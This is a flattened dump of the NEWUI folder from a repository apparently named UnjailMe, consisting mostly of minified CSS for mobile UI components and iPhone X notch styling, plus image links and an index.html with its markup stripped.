109 | 110 | 111 | 112 | 113 | 116 | 117 | -------------------------------------------------------------------------------- /NEWUI/images/player/actions-sprite-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/NEWUI/images/player/actions-sprite-1.png -------------------------------------------------------------------------------- /NEWUI/images/player/touch-cursor-64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MTJailed/UnjailMe/2e1b4420ea1910725989e7a32950d6e87a2e67ad/NEWUI/images/player/touch-cursor-64.png -------------------------------------------------------------------------------- /NEWUI/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 5S ui (SCaleable)???? for other iphones? 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 118 | 119 | 195 | 196 | 197 | 198 | 199 | 200 | 201 |
202 |
203 |
204 |
205 | 206 |
207 | 208 |
209 | 210 |
211 | 212 | 213 |
214 |
215 |
216 |
217 | 218 | 219 |
220 | 221 |
222 |
223 |
224 |
225 |
226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | -------------------------------------------------------------------------------- /NEWUI/libraries/common/components.1.00.css: -------------------------------------------------------------------------------- 1 | .type-shapes .shape-wrapper{width:100%;height:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;background-clip:content-box}.type-shapes .shapes-text-container{position:absolute;top:0;left:0;right:0;display:table;width:100%;height:100%;text-align:center}.type-shapes .shapes-text-container>span{display:table-cell;vertical-align:middle}.type-shapes svg{overflow:visible}.player .type-symbol{overflow:hidden}.player .type-symbol.symbol-scroll{-webkit-perspective:1000}.player .type-symbol.type-symbol-transparent{pointer-events:none !important}.player .type-symbol.type-symbol-transparent .box{pointer-events:auto}.type-symbol.fullscreen{transform:none !important;width:100vw !important;height:100vh !important}.type-vrsymbol.fullscreen{transform:none !important;width:100vw !important;height:100vh !important}.type-vrsymbol.fullscreen canvas{width:100vw !important;height:100vh !important}.type-vrsymbol .type-image-hover-message,.type-vrsymbol.ui-draggable-dragging:hover .type-image-hover-message,.type-vrsymbol.prx-resizable-resizing:hover .type-image-hover-message{display:none;position:absolute;color:#fff;font-family:Helvetica, Arial, sans-serif !important;background:rgba(0,0,0,0.7);top:50%;left:50%;text-align:center;position:absolute;pointer-events:none;width:70px;height:30px;line-height:15px;font-size:10px !important;border-radius:3px;margin:-20px 0 0 -40px;padding:5px}.type-vrsymbol:hover .type-image-hover-message{display:block}.type-text.v2-text .text-contents{o1verflow:hidden;width:100%;height:100%}.type-text.v2-text.box [data-editableProperty]{word-wrap:break-word !important}.type-text .autoresize{white-space:nowrap}.player .type-text .autoResize-true{white-space:nowrap}.type-richtext p{margin:0;line-height:normal}.type-rectangle .inner-rec{width:100%;height:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;background-clip:content-box}.type-rectangle .shapes-text-container{display:table;width:100%;height:100%;text-align:center}.type-rectangle .shapes-text-container>span{display:table-cell;vertical-align:middle}.type-horizontalline .inner{width:100%;height:0}.type-verticalline .inner{width:0;height:100%}.type-actionarea .inner-rec{width:100%;height:100%}.type-actionarea .inner-rec div{width:100%;height:100%;background:#40C8F4;opacity:0.4;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-actionarea .inner-rec div:before{content:" ";display:block;position:absolute;top:50%;left:50%;width:24px;height:24px;margin:-12px 0 0 -12px}.player .type-actionarea .inner-rec div{background:transparent}.player .type-actionarea .inner-rec div:before{background-image:none}.type-image,.type-image .type-image-wrapper{background:0 0 repeat;background-size:100% 100%;width:100%;height:100%;background-clip:content-box}.type-image .type-image-wrapper.type-image-svg{background:center center no-repeat;background-size:contain}.type-image .type-image-wrapper img{display:none}.player .type-image .type-image-wrapper.gif img{display:block !important;width:1px;height:1px;opacity:0.1}.type-image.type-image-repeater,.type-image.type-image-repeater .type-image-wrapper{background-size:auto}.type-image .image-inner{width:100%;height:100%}.type-image .image-inner.borderPos-inside .type-image-wrapper{box-sizing:border-box;background-origin:border-box}.type-image .image-inner.borderPos-outside{display:-webkit-box;display:-moz-box;display:box;display:-ms-flexbox;display:-webkit-flex;display:flex;-moz-flex-flow:row;-ms-flex-flow:row;-webkit-flex-flow:row;flex-flow:row;-moz-box-orient:horizontal;-ms-box-orient:horizontal;-webkit-box-orient:horizontal;box-orient:horizontal;-ms-align-items:center;-webkit-align-items:center;align-items:center;-ms-box-align:center;-webkit-box-align:center;box-align:center;-ms-flex-align:center;-webkit-flex-align:center;flex-align:center;-ms-justify-content:center;-webkit-justify-content:center;justify-content:center;-ms-box-pack:center;-webkit-box-pack:center;box-pack:center;-ms-flex-pack:center;-webkit-flex-pack:center;flex-pack:center}.type-image .image-inner.borderPos-outside .type-image-wrapper{-ms-flex-shrink:0;-webkit-flex-shrink:0;flex-shrink:0;box-sizing:content-box}.type-image .type-image-hover-message,.type-image.ui-draggable-dragging:hover .type-image-hover-message,.type-image.prx-resizable-resizing:hover .type-image-hover-message{display:none;position:absolute;color:#fff;font-family:Helvetica, Arial, sans-serif !important;background:rgba(0,0,0,0.7);top:50%;left:50%;text-align:center;position:absolute;pointer-events:none;width:70px;height:30px;line-height:15px;font-size:10px !important;border-radius:3px;margin:-20px 0 0 -40px;padding:5px}.type-image:hover .type-image-hover-message{display:block}.type-placeholder .bg{position:absolute;width:100%;height:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-placeholder .diagonal{border:0px solid transparent;position:absolute;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-placeholder .diagonal1{-moz-transform-origin:0 0;-webkit-transform-origin:0 0;-o-transform-origin:0 0;transform-origin:0 0}.type-placeholder .diagonal2{-moz-transform-origin:right top;-webkit-transform-origin:right top;-o-transform-origin:right top;transform-origin:right top}.type-placeholder .contents{width:100%;height:100%;display:-webkit-box;display:-moz-box;display:box;display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-justify-content:center;-webkit-justify-content:center;justify-content:center;-ms-box-pack:center;-webkit-box-pack:center;box-pack:center;-ms-flex-pack:center;-webkit-flex-pack:center;flex-pack:center;-ms-align-items:center;-webkit-align-items:center;align-items:center;-ms-box-align:center;-webkit-box-align:center;box-align:center;-ms-flex-align:center;-webkit-flex-align:center;flex-align:center}.type-placeholder .contents>span{font-weight:bold;display:inline-block}.type-placeholder .contents span[data-editableproperty]:empty{padding:0}.type-webview .webview-scroll-wrapper{width:100%;height:100%;-webkit-overflow-scrolling:touch;overflow:auto}.type-webview iframe{width:100%;height:100%;border:none}.type-html iframe{width:100%;height:100%;overflow:hidden;border:none}.type-animationtarget{position:relative}.type-animationtarget.type-animatiotarget-fixed-positioning{position:absolute}.type-animationtarget .animationtarget-circle{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;width:0;height:0;position:absolute;top:0;left:0;border-radius:50%;display:none}.type-animationtarget .animationtarget-vertical{position:absolute;top:0}.type-animationtarget .animationtarget-horizontal{position:absolute;top:0%;left:0}.player .type-animationtarget{opacity:0 !important;pointer-events:none !important}.type-bannerad .bannerad-outer{display:table;height:100%;width:100%}.type-bannerad .bannerad-inner{display:table-cell;position:relative;text-align:center;vertical-align:middle;width:100%;background-size:100% 100%}.type-tooltip .tooltip-content-wrapper{width:100%;height:100%;position:relative}.type-tooltip .tooltip-content-wrapper .tooltip-outer{position:absolute;overflow:hidden}.type-tooltip .tooltip-content-wrapper .tooltip{position:absolute;-moz-transform:rotate(45deg);-webkit-transform:rotate(45deg);transform:rotate(45deg);filter:progid:DXImageTransform.Microsoft.Matrix(sizingMethod='auto expand', M11=0.7071067811865476, M12=-0.7071067811865475, M21=0.7071067811865475, M22=0.7071067811865476);-ms-filter:"progid:DXImageTransform.Microsoft.Matrix(SizingMethod='auto expand', M11=0.7071067811865476, M12=-0.7071067811865475, M21=0.7071067811865475, M22=0.7071067811865476)";-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-tooltip .tooltip-content-wrapper .tooltip-content-outer{position:absolute;width:100%;height:100%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-tooltip .tooltip-content-wrapper .tooltip-content{width:100%;height:100%;overflow:hidden;padding:10px;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.type-vectoranimation .type-vectoranimation-wrapper{width:100%;height:100%}.type-vectoranimation .bodymovin,.type-vectoranimation .bodymovin-player{width:100%;height:100%}.type-vectoranimation .vector-inner{width:100%;height:100%}.type-vectoranimation .vector-inner.borderPos-inside .type-vectoranimation-wrapper{box-sizing:border-box;background-origin:border-box;overflow:hidden}.type-vectoranimation .vector-inner.borderPos-outside{display:-webkit-box;display:-moz-box;display:box;display:-ms-flexbox;display:-webkit-flex;display:flex;-moz-flex-flow:row;-ms-flex-flow:row;-webkit-flex-flow:row;flex-flow:row;-moz-box-orient:horizontal;-ms-box-orient:horizontal;-webkit-box-orient:horizontal;box-orient:horizontal;-ms-align-items:center;-webkit-align-items:center;align-items:center;-ms-box-align:center;-webkit-box-align:center;box-align:center;-ms-flex-align:center;-webkit-flex-align:center;flex-align:center;-ms-justify-content:center;-webkit-justify-content:center;justify-content:center;-ms-box-pack:center;-webkit-box-pack:center;box-pack:center;-ms-flex-pack:center;-webkit-flex-pack:center;flex-pack:center}.type-vectoranimation .vector-inner.borderPos-outside .type-vectoranimation-wrapper{-ms-flex-shrink:0;-webkit-flex-shrink:0;flex-shrink:0;box-sizing:content-box}.type-vectoranimation .type-image-hover-message,.type-vectoranimation.ui-draggable-dragging:hover .type-image-hover-message,.type-vectoranimation.prx-resizable-resizing:hover .type-image-hover-message{display:none;position:absolute;color:#fff;font-family:Helvetica, Arial, sans-serif !important;background:rgba(0,0,0,0.7);top:50%;left:50%;text-align:center;position:absolute;pointer-events:none;width:70px;height:30px;line-height:15px;font-size:10px !important;border-radius:3px;margin:-20px 0 0 -40px;padding:5px}.type-vectoranimation:hover .type-image-hover-message{display:block}.type-basic-tabbar ul{margin:0;padding:0;list-style:none;height:100%}.type-basic-tabbar ul li{margin:0;padding:0;float:left;text-align:center;height:100%;position:relative}.type-basic-tabbar ul li:first-child{border-left:0 none !important}.type-basic-tabbar ul li input{display:none}.type-basic-tabbar ul li label{width:100%;height:100%;display:block}.type-basic-tabbar ul li label .icon{height:100%;background-position:center center;background-repeat:no-repeat;background-size:auto 60%;-webkit-mask-size:auto 60%;-webkit-mask-repeat:no-repeat;-webkit-mask-position:center center}.type-basic-tabbar.type-basic-tabbar-icon-top ul li label .icon{height:75%}.type-basic-tabbar.type-basic-tabbar-icon-top ul li label .caption{display:inline-block;width:100%;height:25%;float:left}.type-generic-onoffswitch input[type=checkbox]{display:none}.type-generic-onoffswitch label{display:block;overflow:hidden}.type-generic-onoffswitch .onoffswitch-inner{width:200%;margin-left:-100%;-moz-transition:margin 0.3s ease-in 0s;-webkit-transition:margin 0.3s ease-in 0s;-ms-transition:margin 0.3s ease-in 0s;-o-transition:margin 0.3s ease-in 0s;transition:margin 0.3s ease-in 0s}.type-generic-onoffswitch input:checked+label .onoffswitch-inner{margin-left:0}.type-generic-onoffswitch .onoffswitch-inner div{float:left;width:50%;color:white;font-family:Trebuchet, Arial, sans-serif;font-weight:bold;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}.type-generic-onoffswitch .onoffswitch-inner .active{background-color:#2FCCFF;color:#FFFFFF}.type-generic-onoffswitch .onoffswitch-inner .inactive{background-color:#EEEEEE;color:#999999;text-align:right}.type-generic-onoffswitch .onoffswitch-switch{background:#FFFFFF;position:absolute;top:0;bottom:0;-moz-transition:right 0.3s ease-in 0s;-webkit-transition:right 0.3s ease-in 0s;-ms-transition:right 0.3s ease-in 0s;-o-transition:right 0.3s ease-in 0s;transition:right 0.3s ease-in 0s}.type-generic-onoffswitch input:checked+label .onoffswitch-switch{right:0px !important}.type-datetime #background{box-sizing:border-box;margin:0;padding:0;height:100%;overflow:hidden;display:-webkit-box;display:-moz-box;display:box;display:-ms-flexbox;display:-webkit-flex;display:flex;-ms-justify-content:center;-webkit-justify-content:center;justify-content:center;-ms-box-pack:center;-webkit-box-pack:center;box-pack:center;-ms-flex-pack:center;-webkit-flex-pack:center;flex-pack:center;-ms-align-items:center;-webkit-align-items:center;align-items:center;-ms-box-align:center;-webkit-box-align:center;box-align:center;-ms-flex-align:center;-webkit-flex-align:center;flex-align:center}.type-datetime #datetime{width:100%}#iphoneX-notch-player{display:none}#iphoneX-notch,#iphoneX-notch-player{background:#000000;position:absolute;z-index:9999999;pointer-events:none}#iphoneX-notch:before,#iphoneX-notch:after,#iphoneX-notch-player:before,#iphoneX-notch-player:after{content:'';display:block;background-color:#191919;position:absolute}#iphoneX-notch:after,#iphoneX-notch-player:after{border-radius:50%}#iphoneX-notch.portrait,#iphoneX-notch.portrait-p,#iphoneX-notch-player.portrait,#iphoneX-notch-player.portrait-p{left:50%;transform:translateX(-50%)}#iphoneX-notch.portrait:before,#iphoneX-notch.portrait-p:before,#iphoneX-notch-player.portrait:before,#iphoneX-notch-player.portrait-p:before{left:50%;transform:translateX(-50%)}#iphoneX-notch.portrait-p,#iphoneX-notch-player.portrait-p{display:block !important}#iphoneX-notch.landscape,#iphoneX-notch.landscape-p,#iphoneX-notch-player.landscape,#iphoneX-notch-player.landscape-p{top:50%;left:0;transform:translateY(-50%)}#iphoneX-notch.landscape:before,#iphoneX-notch.landscape-p:before,#iphoneX-notch-player.landscape:before,#iphoneX-notch-player.landscape-p:before{top:50%;transform:translateY(-50%)}#iphoneX-notch.landscape .iphoneX-notch-corners:before,#iphoneX-notch.landscape .iphoneX-notch-corners:after,#iphoneX-notch.landscape-p .iphoneX-notch-corners:before,#iphoneX-notch.landscape-p .iphoneX-notch-corners:after,#iphoneX-notch-player.landscape .iphoneX-notch-corners:before,#iphoneX-notch-player.landscape .iphoneX-notch-corners:after,#iphoneX-notch-player.landscape-p .iphoneX-notch-corners:before,#iphoneX-notch-player.landscape-p .iphoneX-notch-corners:after{left:auto;top:auto;right:auto}#iphoneX-notch.landscape-p-minus90,#iphoneX-notch-player.landscape-p-minus90{display:block !important;top:50%;right:0 !important;transform:translateY(-50%) rotate(180deg) !important}#iphoneX-notch.landscape-p-minus90:before,#iphoneX-notch-player.landscape-p-minus90:before{top:50%;transform:translateY(-50%)}#iphoneX-notch.landscape-p-minus90 .iphoneX-notch-corners:before,#iphoneX-notch.landscape-p-minus90 .iphoneX-notch-corners:after,#iphoneX-notch-player.landscape-p-minus90 .iphoneX-notch-corners:before,#iphoneX-notch-player.landscape-p-minus90 .iphoneX-notch-corners:after{left:auto;top:auto;right:auto}#iphoneX-notch.landscape-p,#iphoneX-notch-player.landscape-p{display:block !important}#iphoneX-notch .iphoneX-notch-corners,#iphoneX-notch-player .iphoneX-notch-corners{width:100%;height:100%;display:block}#iphoneX-notch .iphoneX-notch-corners:before,#iphoneX-notch .iphoneX-notch-corners:after,#iphoneX-notch-player .iphoneX-notch-corners:before,#iphoneX-notch-player .iphoneX-notch-corners:after{content:" ";display:block;position:absolute;top:0;background-position:0 0;background-repeat:no-repeat}#dragarea{font-size:16px}.type-richtext{font-size:12px !important}.type-richtext .fr-element{font-size:12px !important;f1ont-family:sans-serif,Helvetica Neue,Arial}.type-placeholder .bg{border:5px solid #999}.type-placeholder .diagonal1{left:2px}.type-placeholder .diagonal2{right:2px}.type-placeholder .contents>span{margin:0 1px}.type-placeholder .contents span[data-editableproperty]{padding:5px}.type-placeholder .contents span[data-editableproperty] textarea{margin-left:-5px}.type-animationtarget .animationtarget-circle{border:2px solid #09c}.type-animationtarget .animationtarget-vertical{border-left:2px solid #09c;height:24px;margin-top:-4px}.type-animationtarget .animationtarget-horizontal{border-top:2px solid #09c;width:24px;margin-left:-4px}.type-tooltip .tooltip-content-wrapper .tooltip{width:40px;height:40px}.type-tooltip .tooltip-content-wrapper .tooltip-content{padding:10px}.type-basic-tabbar.type-basic-tabbar-icon-top ul li label .caption{margin-top:-5px}.type-generic-onoffswitch label{border:2px solid #999;border-radius:20px}.type-generic-onoffswitch .onoffswitch-inner div{padding:0px 10px;line-height:30px}.type-generic-onoffswitch .onoffswitch-switch{width:32px;border:2px solid #999;border-radius:20px;right:56px;margin:-1px}#iphoneX-notch:before,#iphoneX-notch-player:before{border-radius:6px}#iphoneX-notch:after,#iphoneX-notch-player:after{width:11px;height:11px}#iphoneX-notch.portrait,#iphoneX-notch.portrait-p,#iphoneX-notch-player.portrait,#iphoneX-notch-player.portrait-p{width:210px;height:30px;border-radius:0 0 22px 22px}#iphoneX-notch.portrait:before,#iphoneX-notch.portrait-p:before,#iphoneX-notch-player.portrait:before,#iphoneX-notch-player.portrait-p:before{width:50px;height:6px;top:6px}#iphoneX-notch.portrait:after,#iphoneX-notch.portrait-p:after,#iphoneX-notch-player.portrait:after,#iphoneX-notch-player.portrait-p:after{top:4px;right:54px}#iphoneX-notch.landscape,#iphoneX-notch.landscape-p,#iphoneX-notch.landscape-p-minus90,#iphoneX-notch-player.landscape,#iphoneX-notch-player.landscape-p,#iphoneX-notch-player.landscape-p-minus90{width:30px;height:210px;border-radius:0 22px 22px 0}#iphoneX-notch.landscape:before,#iphoneX-notch.landscape-p:before,#iphoneX-notch.landscape-p-minus90:before,#iphoneX-notch-player.landscape:before,#iphoneX-notch-player.landscape-p:before,#iphoneX-notch-player.landscape-p-minus90:before{width:6px;height:50px;left:6px}#iphoneX-notch.landscape:after,#iphoneX-notch.landscape-p:after,#iphoneX-notch.landscape-p-minus90:after,#iphoneX-notch-player.landscape:after,#iphoneX-notch-player.landscape-p:after,#iphoneX-notch-player.landscape-p-minus90:after{left:4px;top:54px}#iphoneX-notch .iphoneX-notch-corners,#iphoneX-notch-player .iphoneX-notch-corners{width:100%;height:100%}#iphoneX-notch .iphoneX-notch-corners:before,#iphoneX-notch .iphoneX-notch-corners:after,#iphoneX-notch-player .iphoneX-notch-corners:before,#iphoneX-notch-player .iphoneX-notch-corners:after{width:6px;height:6px}#iphoneX-notch .iphoneX-notch-corners:before,#iphoneX-notch-player .iphoneX-notch-corners:before{left:-6px;background-image:radial-gradient(circle at 0 100%, transparent 6px, #000 7px)}#iphoneX-notch .iphoneX-notch-corners:after,#iphoneX-notch-player .iphoneX-notch-corners:after{right:-6px;background-image:radial-gradient(circle at 100% 100%, transparent 6px, #000 7px)}#iphoneX-notch.landscape .iphoneX-notch-corners:before,#iphoneX-notch.landscape-p .iphoneX-notch-corners:before,#iphoneX-notch-player.landscape .iphoneX-notch-corners:before,#iphoneX-notch-player.landscape-p .iphoneX-notch-corners:before{top:-6px;background-image:radial-gradient(circle at 100% 0, transparent 6px, #000 7px)}#iphoneX-notch.landscape .iphoneX-notch-corners:after,#iphoneX-notch.landscape-p .iphoneX-notch-corners:after,#iphoneX-notch-player.landscape .iphoneX-notch-corners:after,#iphoneX-notch-player.landscape-p .iphoneX-notch-corners:after{bottom:-6px;background-image:radial-gradient(circle at 100% 100%, transparent 6px, #000 7px)}a-scene.round-corners-device .a-enter-vr{margin-right:10px} 2 | -------------------------------------------------------------------------------- /NEWUI/outputlog: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /NEWUI/stylesheets/player-engine-export-min.css: -------------------------------------------------------------------------------- 1 | .mask-inner{position:relative;background-size:100% 100%;background-repeat:no-repeat}.mask-inner .mask-inner{transform:none !important}.mask-filter{height:100%;width:100%}.mask-border .mborder{border:1px solid rgba(255,255,255,0.8);height:100%;width:100%;position:absolute;pointer-events:none}.mask-border .area-border{border:1px solid #00A1C0;left:0;top:0;position:absolute;transform-origin:0 0;box-sizing:border-box}.mask-border .mask-radius{width:100%;height:100%;overflow:hidden;position:absolute}.mask-border .mask-radius .mask-radius-border{position:relative;width:100%;height:100%;border:1px solid rgba(255,255,255,0.8)}.mask-border.hide-handles .prx-resizable-handle{opacity:0;pointer-events:none !important}.mask-border.hide-handles .area-border{border:1px dashed #B4BCBF}.mask-wrapper{overflow:hidden;height:100%;pointer-events:none}.mask-wrapper.borderPos-inside{box-sizing:border-box}.mask-wrapper.borderPos-outside{width:100%;height:100%}.mask-wrapper.borderPos-outside .mask-inner{box-sizing:content-box}.mask-edit-mode-handles{pointer-events:none}.mask-edit-mode-handles.hide-handles .prx-resizable-handle,.mask-edit-mode-handles.hide-handles .prx-rotate-handle{opacity:0;pointer-events:none !important}.mask-edit-mode-handles.hide-handles .xborder{border-color:#B4BCBF !important}html,body,div,span,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,abbr,address,cite,code,del,dfn,em,img,ins,kbd,q,samp,small,strong,sub,sup,var,b,i,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,figure,footer,header,hgroup,menu,nav,section,menu,time,mark,audio,video{margin:0;padding:0;border:0;outline:0;font-size:100%;background:transparent}article,aside,figure,footer,header,hgroup,nav,section{display:block}article,aside,details,figcaption,figure,footer,header,hgroup,nav,section{display:block}audio,canvas,video{display:inline-block;*display:inline;*zoom:1}audio:not([controls]){display:none}[hidden]{display:none}html{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0;font-size:13px}body,button,input,select,textarea{font-family:sans-serif;color:#222}a{color:#00e}a:visited{color:#551a8b}a:hover{color:#06e}a:focus{outline:thin dotted}a:hover,a:active{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}blockquote{margin:1em 40px}dfn{font-style:italic}hr{display:block;height:1px;border:0;border-top:1px solid #ccc;margin:1em 0;padding:0}ins{background:#ff9;color:#000;text-decoration:none}mark{background:#ff0;color:#000;font-style:italic;font-weight:bold}pre,code,kbd,samp{font-family:monospace, serif;_font-family:'courier new', monospace;font-size:1em}pre{white-space:pre;white-space:pre-wrap;word-wrap:break-word}q{quotes:none}q:before,q:after{content:"";content:none}small{font-size:85%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}ul,ol{margin:1em 0;padding:0 0 0 40px}dd{margin:0 0 0 40px}nav ul,nav ol{list-style:none;list-style-image:none;margin:0;padding:0}img{border:0;-ms-interpolation-mode:bicubic}svg:not(:root){overflow:hidden}figure{margin:0}form{margin:0}fieldset{border:0;margin:0;padding:0}legend{border:0;*margin-left:-7px;padding:0}button,input,select,textarea{font-size:100%;margin:0;vertical-align:baseline;*vertical-align:middle}button,input{line-height:normal;*overflow:visible}table button,table input{*overflow:auto}button,input[type="button"],input[type="reset"],input[type="submit"],[role="button"]{-webkit-appearance:button}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner{border:0;padding:0}textarea{overflow:auto;vertical-align:top;resize:vertical}input:invalid,textarea:invalid{background-color:#f0dddd}table{border-collapse:collapse;border-spacing:0}td{vertical-align:top}.nocallout{-webkit-touch-callout:none}textarea[contenteditable]{-webkit-appearance:none}.gifhidden{position:absolute;left:-100%}.ir{display:block;border:0;text-indent:-999em;overflow:hidden;background-color:transparent;background-repeat:no-repeat;text-align:left;direction:ltr}.ir br{display:none}.hidden{display:none !important;visibility:hidden}.visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.visuallyhidden.focusable:active,.visuallyhidden.focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}.invisible{visibility:hidden}.clearfix:before,.clearfix:after{content:"";display:table}.clearfix:after{clear:both}.clearfix{*zoom:1}@media print{*{background:transparent !important;color:black !important;text-shadow:none !important;filter:none !important;-ms-filter:none !important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}.ir a:after,a[href^="javascript:"]:after,a[href^="#"]:after{content:""}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100% !important}@page{margin:0.5cm}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}}#eval-iframe{display:none}body{-webkit-appearance:none;-webkit-box-flex:1;-webkit-touch-callout:none;-webkit-tap-highlight-color:transparent}*{-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}input,textarea{-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-o-user-select:text;user-select:text}#dragarea{font-family:Helvetica,Arial,sans-serif;text-align:left}.text{height:95%;overflow:auto}.wrap{overflow:hidden}.pos{position:absolute}.spos{position:absolute}.action-highlight{position:absolute;top:0;left:0;height:100%;width:100%;background:rgba(255,255,0,0.5);background:rgba(64,208,255,0.3);opacity:0;pointer-events:none;-webkit-transition:opacity 0.2s ease-in;transition:opacity 0.2s ease-in;border:2px solid #40c8f4;padding:3px;box-sizing:border-box}.action-highlight-visible,.action-highlight-simple-visible{opacity:1}.action-highlight-visible .actionicon,.action-highlight-simple-visible .actionicon{pointer-events:auto}.actionicon{width:20px !important;height:20px !important;float:left !important;background:#40c8f4 url(/images/player/actions-sprite-1.png) no-repeat 0 0;-moz-background-origin:content-box !important;-webkit-background-origin:content-box !important;-o-background-origin:content-box !important;background-origin:content-box !important;border:0 none !important;margin:1px 0 0 1px;padding:0px !important;border-radius:3px !important;display:block !important;-moz-box-sizing:content-box !important;-webkit-box-sizing:content-box !important;-o-box-sizing:content-box !important;box-sizing:content-box !important;opacity:1;-webkit-transition:opacity 0s ease-in 0.2s;transition:opacity 0s ease-in 0.2s}.a1ction-highlight-simple-visible .actionicon{opacity:0;-webkit-transition:opacity 0s ease-in;transition:opacity 0s ease-in}.actionicon.action-click,.actionicon.action-tap,.actionicon.action-delayedtap{background-position:-30px -20px}.actionicon.action-taphold,.actionicon.action-forcetouch,.actionicon.action-press,.actionicon.action-pressup{background-position:-30px -40px}.actionicon.action-doubletap{background-position:-30px -398px}.actionicon.action-touch,.actionicon.action-release{background-position:-30px -419px}.actionicon.action-swipe,.actionicon.action-pan,.actionicon.action-panstart,.actionicon.action-panend{background-position:-30px -0px}.actionicon.action-swipeleft,.actionicon.action-panleft{background-position:-30px -100px}.actionicon.action-swiperight,.actionicon.action-panright{background-position:-30px -120px}.actionicon.action-swipeup,.actionicon.action-panup{background-position:-30px -140px}.actionicon.action-swipedown,.actionicon.action-pandown{background-position:-30px -160px}.actionicon.action-pinch,.actionicon.action-pinchout{background-position:-30px -180px}.actionicon.action-pinchin{background-position:-30px -200px}.actionicon.action-containerpageenter,.actionicon.action-containerpagechange,.actionicon.action-containerscroll,.actionicon.action-containerscrollend,.actionicon.action-containerscrollto{background-position:-30px -360px}.actionicon.action-keydown{background-position:-30px -460px}.actionicon.action-mouseover,.actionicon.action-mouseout{background-position:-30px -340px}.actionicon.action-ondrag,.actionicon.action-ondragstart,.actionicon.action-ondragend,.actionicon.action-onthrowupdate,.actionicon.action-onthrowcomplete{background-position:-30px -60px}.actionicon.action-onrotate,.actionicon.action-onrotatestart,.actionicon.action-onrotateend,.actionicon.action-onrotatethrowupdate,.actionicon.action-onrotatethrowcomplete{background-position:-30px -476px}.actionicon.action-stateenter,.actionicon.action-stateleave,.actionicon.action-statetransitionstart,.actionicon.action-statetransitionend{background-position:-30px -440px}.actionicon.action-inputfocus,.actionicon.action-inputblur,.actionicon.action-inputkeyup{background-position:-30px -460px}.actionicon.action-change,.actionicon.action-checkboxchange,.actionicon.action-pickerchange{background-position:-30px -496px}.actionicon.action-sliderdrag,.actionicon.action-sliderdragstart,.actionicon.action-sliderdragend,.actionicon.action-rangedrag,.actionicon.action-rangedragstart,.actionicon.action-rangedragend{background-position:-30px -80px}.actionicon.action-videoplay,.actionicon.action-videopause,.actionicon.action-videoend{background-position:-30px -561px}.actionicon.action-audioplay,.actionicon.action-audiopause,.actionicon.action-audioend{background-position:-30px -539px}.actionicon.action-vectoranimationend{background-position:-30px -516px}#appModeNote{background-color:#333333;border-top:5px solid #000000;bottom:0px;color:#F0F0F0;display:none;font-family:helvetica;left:0px;padding:10px 0px 10px 0px;position:fixed;text-align:center;width:100%}#appModeNote em{display:block;font-size:20px;font-weight:bold;line-height:26px}#appModeNote 